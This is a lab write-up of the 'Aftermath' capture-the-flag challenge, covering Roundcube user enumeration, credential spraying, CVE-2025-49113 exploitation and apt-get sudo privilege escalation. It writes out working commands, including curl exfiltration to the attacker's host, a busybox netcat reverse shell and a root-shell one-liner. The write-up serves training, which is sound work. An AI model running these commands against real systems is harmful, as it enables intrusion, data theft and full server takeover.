> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/aftermath.md).

# Aftermath

Challenge Lab (Easy) - by Streetcoder

{% embed url="<https://www.hacksmarter.org/courses/27b0ac4a-5e03-4e43-afae-7c730b7b6263>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

You have been assigned a penetration test against a Linux server in the client's network. Your objective is to gain root access. The client has planted three flags on the system, retrieving each of these flags demonstrates impact.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

Another team member pulled down a list of names and passwords from DeHashed... but are unsure if any of them are valid.

## Summary

<details>

<summary>Summary</summary>

In Aftermath, we begin with a port scan against a Linux host running SSH on port `22`, a SMTP server on port `25`, and Apache httpd 2.4.52 on port `80`. Directory brute-forcing uncovers a Roundcube Webmail instance at `/roundcube/`. With rate-limiting active on the login form and a set of credentials pulled from DeHashed by another team member, we first enumerate valid users via `smtp-user-enum`, issuing `VRFY` commands against the SMTP service which confirms `maria` as a valid mailbox. Alternatively, valid users can be gathered through Roundcube's password-reset endpoint using FFuF with timing-based analysis, where `maria` stands out. A Roundcube-specific credential spraying script recovers `maria`'s password, granting access to the webmail interface where the first flag sits in her inbox.

Authenticated as `maria`, the Roundcube About page reveals version 1.5.9, vulnerable to CVE-2025-49113 a PHP Object Deserialization flaw in the `_from` parameter with a CVSS of 9.9. We leverage the public exploit to execute commands as `www-data`, confirm RCE by exfiltrating `id` output to our web server, and upgrade to a reverse shell via `busybox nc` caught by Penelope. We find the user flag at `/usr/user.txt`.

Privilege escalation is straightforward: `sudo -l` reveals `www-data` can run `/usr/bin/apt-get` as root. Following GTFOBins, we execute `sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh` to abuse the pre-invoke hook, spawning a root shell and recovering the final flag at `/root/root.txt`.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.33.82 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.33.82 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fb3mFolYsPweAuhv8iKRH%2Fgrafik.png?alt=media&amp;token=63eed6f1-8aae-4470-b208-9ecbb4dfa60c" alt=""><figcaption></figcaption></figure>

The target `10.1.33.82` is a Linux host with the hostname `kali`. Remote access is available via SSH on port `22`. A Postfix SMTP server is running on port `25` with STARTTLS support, using a self-signed certificate issued to `kali`. Web services are provided by Apache httpd `2.4.52` on port `80`, serving a page titled "Home".

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi5fDFfbi1yEcOguAY1TO%2Fgrafik.png?alt=media&amp;token=f0c6d888-b0fa-4637-8398-81aad94a0d89" alt=""><figcaption></figcaption></figure>

We visit the page using our browser, and at first glance, it appears to be just a static page.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.33.82/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FrVZnujDDuJWHXDexAHUf%2Fgrafik.png?alt=media&amp;token=9e0f5aff-57de-4c92-9b5e-be1ba6e3d716" alt=""><figcaption></figcaption></figure>

We perform a directory scan and, after a while, we detect a Roundcube endpoint using the directory-list-lowercase-2.3-medium.txt list.

{% code overflow="wrap" expandable="true" %}

```
feroxbuster -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u 'http://10.1.33.82/'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FKUeT55udCwdpZolDxMwe%2Fgrafik.png?alt=media&amp;token=9dbde3e9-6fde-4c5a-a1eb-06b0a1e2b1f5" alt=""><figcaption></figcaption></figure>

From here, we can't determine the version to identify potential CVEs, we need access first to do so. We were provided with a list of usernames and passwords in the scenario, but a simple dictionary attack using a script or Hydra is not possible here. This is because rate-limiting protection is active and imposes a 10-second delay. We should therefore limit our requests by first identifing valid users, and then perform a dictionary attack on those users.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.33.82/roundcube/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNWCig86WF5kHFoM4z4hU%2Fgrafik.png?alt=media&amp;token=8cefaf1c-20f8-458a-8c95-6c34df3fc1aa" alt=""><figcaption></figcaption></figure>

## Access as maria

We have two options for identifying valid users. First, we can identify valid users via SMTP access; second, we can also identify valid users through a Roundcube endpoint. But more on that later. First, let’s try using it through the open SMTP service.

### Username Enumeration via SMTP

To enumerate usernames on the SMTP service we make use of the tool smtp-user-enum. The tool connects to the server and issues `VRFY` or `RCPT TO` commands for each username in our list to see which ones the server confirms as valid mailboxes.

{% embed url="<https://github.com/cytopia/smtp-user-enum>" %}

{% code overflow="wrap" expandable="true" %}

```
smtp-user-enum -U names.txt 10.1.33.82 25
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fgde6MYPf6ZhmFhWyLBT7%2Fgrafik.png?alt=media&amp;token=f0ca8d5b-e31c-4e08-bec9-c9de14782cdb" alt=""><figcaption></figcaption></figure>

And we identify the valid user `maria`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmsM8iRrQBeeA20UPo7el%2Fgrafik.png?alt=media&amp;token=559d9a99-866b-4598-b3f1-d9070fc9c261" alt=""><figcaption></figcaption></figure>

### Username Enumeration via Password Reset Feature

Alternatively we could request reset. We get redirected to this weird endpoint.

{% code overflow="wrap" expandable="true" %}

```
http://10.1.33.82/roundcube/1258dwd34xyz8ffwrt86ff4.php
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2jTiuhdrLvR6MgcmrtYL%2Fgrafik.png?alt=media&amp;token=6c8805da-c8c5-4216-bb4d-a05b6c38f18f" alt=""><figcaption></figcaption></figure>

We catch an example request to build our command for FFuF.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHkg430JA2igktQln15QH%2Fgrafik.png?alt=media&amp;token=142d6d2b-dd36-439d-bc90-250c9a35ddbd" alt=""><figcaption></figcaption></figure>

We provided the necessary headers for this and tried to enumerate users by the reponse sizes. But it turns out they stay the same. Nevertheless we are able to enumerate the valid users by the reponse time. We limit the thread at five requests per second with a ten-second timeout to keep timing consistent and measurable, while filtering out responses timings less than 1500 miliseconds. And we get a timeout on user `maria`. That timeout on `maria` indicates that this might be a valid user since the server spends extra time processing.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w names.txt \
  -u 'http://10.1.33.82/roundcube/1258dwd34xyz8ffwrt86ff4.php' \
  -X POST \
  -H 'Cookie: roundcube_sessid=inlmttcks0lvb04a8onb9043ep; roundcube_sessauth=ULKHlGIyLfXnBXGAETOqN4eYwN-1788431400; PHPSESSID=ccq711ctqoa087m1436f3fv8jk' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'csrf_token=098ccfede3b1414240b09818a1b1c1d8a35a02d9246a695dddb1cc9414b557a4&user=FUZZ' \
  -t 1 -rate 5 -timeout 10 -ft '<1500'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQsKM6jQg0tnuanleAMdi%2Fgrafik.png?alt=media&amp;token=bcad0e7e-67a1-4f04-93a1-6b2a103e9fca" alt=""><figcaption></figcaption></figure>

Now that we've identified a valid user, let's try a dictionary attack. We can write our own script and bypass the rate limit, or use a pre-existing one. We'll use the following script.

{% embed url="<https://github.com/robotshell/cubeSpraying>" %}

After running the dictionary attack we find a valid password.

{% code overflow="wrap" expandable="true" %}

```
python cubeSpraying.py --url 'http://10.1.33.82/roundcube/' -U maria -P ../passwords.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fuov18eXFEOVtRxUHJPAn%2Fgrafik.png?alt=media&amp;token=59e042f2-ea78-435a-8c69-75b12d03854e" alt=""><figcaption></figcaption></figure>

We log into Roundcube using the credentials gathered...

{% code overflow="wrap" expandable="true" %}

```
http://10.1.33.82/roundcube/
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYm4lUJiCYdvJgybYRIIH%2Fgrafik.png?alt=media&amp;token=e919ff07-792a-4308-a9c8-54e71afa20ea" alt=""><figcaption></figcaption></figure>

... and we spot a mail containing the first flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfdHmAUzV080fueRDuMbN%2Fgrafik.png?alt=media&amp;token=3dc036bd-0f9f-4b27-917d-bf3f571dff48" alt=""><figcaption></figcaption></figure>

## Shell as www-data

We check out the About page and see Roundcube Webmail `1.5.9`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3vutdZdrFzxZnlVE9Pvv%2Fgrafik.png?alt=media&amp;token=bdbb03fd-ca17-485b-9856-f993417f5969" alt=""><figcaption></figcaption></figure>

We look for CVEs related to that version and find a pretty juicy one - a public exploit with a CVSS score of 9.9 and a 99% EPSS score, meaning it's almost certainly being abused in the wild. A very promising find. The exploit lets an authenticated user inject a malicious serialized PHP object through the unvalidated `_from` parameter, which the server deserializes and executes, giving us a remote code execution. Fortunately we are authenticated with maria.

{% embed url="<https://www.cvedetails.com/vulnerability-list/vendor_id-8905/year-2025/opec-1/Roundcube.html>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FJB2jjA2W78NKBEQ47XaJ%2Fgrafik.png?alt=media&amp;token=9f870350-4c97-4c30-97e7-e7df76c6c782" alt=""><figcaption></figcaption></figure>

> Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the \_from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.

We get the following exploit. &#x20;

{% embed url="<https://github.com/hakaioffsec/CVE-2025-49113-exploit>" %}

We set up a web server to exfiltrate the outputs of the commands run.

{% code overflow="wrap" expandable="true" %}

```
sudo python -m http.server 80
```

{% endcode %}

We run the id command and redirect the output as an endpoint to our web server...

{% code overflow="wrap" expandable="true" %}

```
php CVE-2025-49113.php http://10.1.33.82/roundcube/ maria 'REDACTED' 'curl http://10.200.89.30/$(id|base64 -w0)'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIttUAnnFmMcmK3d5limK%2Fgrafik.png?alt=media&amp;token=22ef028b-4c3a-4194-8305-d8eb81924453" alt=""><figcaption></figcaption></figure>

.. we see we are www-data.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6aGivbuCg7L2U08rtqyr%2Fgrafik.png?alt=media&amp;token=60d68e8e-c350-42c4-ad5c-35608290aa47" alt=""><figcaption></figcaption></figure>

Next, we try to get a reverse shell. We use Penelope as the listener.

{% embed url="<https://github.com/brightio/penelope>" %}

{% code overflow="wrap" expandable="true" %}

```
penelope -p 4445
```

{% endcode %}

We issue a busybox revershell...

{% code overflow="wrap" expandable="true" %}

```
php CVE-2025-49113.php http://10.1.33.82/roundcube/ maria 'REDACTED' 'busybox nc 10.200.89.30 4445 -e /bin/bash'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCv7fE7iu2hFItIZKlhaE%2Fgrafik.png?alt=media&amp;token=cc261ec2-8d77-4764-8000-658ccb03d3ab" alt=""><figcaption></figcaption></figure>

... and receive a connection.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCYunh2moDZNdGha9xZQZ%2Fgrafik.png?alt=media&amp;token=a372b0bb-5cd8-4301-8317-5bdf97993eb5" alt=""><figcaption></figcaption></figure>

The user flag can be found at `/usr/user.txt`.

{% code overflow="wrap" expandable="true" %}

```
find -type f -name 'user.txt' 2>/dev/null
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
cat /usr/user.txt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FUfVqbu7dPxmN9ol6qcWL%2Fgrafik.png?alt=media&amp;token=1b2cfa23-38de-4538-bb9f-8378606b489d" alt=""><figcaption></figcaption></figure>

## Shell as root

While enumerating the system as www-data, we see that the user can run `/usr/bin/apt-get` as `root` using `sudo`. This is a classic and well known privilege escalation vector.

{% code overflow="wrap" expandable="true" %}

```
sudo -l
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFPReQEfPhmThVYA7vpQK%2Fgrafik.png?alt=media&amp;token=4beb425d-3520-43bf-b5bd-8769b16e0391" alt=""><figcaption></figcaption></figure>

We can use GTFOBins to look up the exploit. We'll use the following version.

{% embed url="<https://gtfobins.org/gtfobins/apt-get/#shell>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCuxQZxV23g4Hd1k06xYW%2Fgrafik.png?alt=media&amp;token=016e11cf-6d78-44ab-ba31-187a7f34edee" alt=""><figcaption></figcaption></figure>

This exploit abuses the sudo permission on `apt-get` by using the `-o` flag to set a pre-invoke hook that runs `/bin/sh` as root before the update even begins, spawning the root shell through the apt-get built-in configuration options.

We retrieve a root shell and are able to access the final flag at `/root/root.txt`.

{% code overflow="wrap" expandable="true" %}

```
sudo /usr/bin/apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fye0YMhLSCjvhFLf6FwGK%2Fgrafik.png?alt=media&amp;token=eb986e84-fc7a-42ac-9db3-0e0fc3561034" alt=""><figcaption></figcaption></figure>
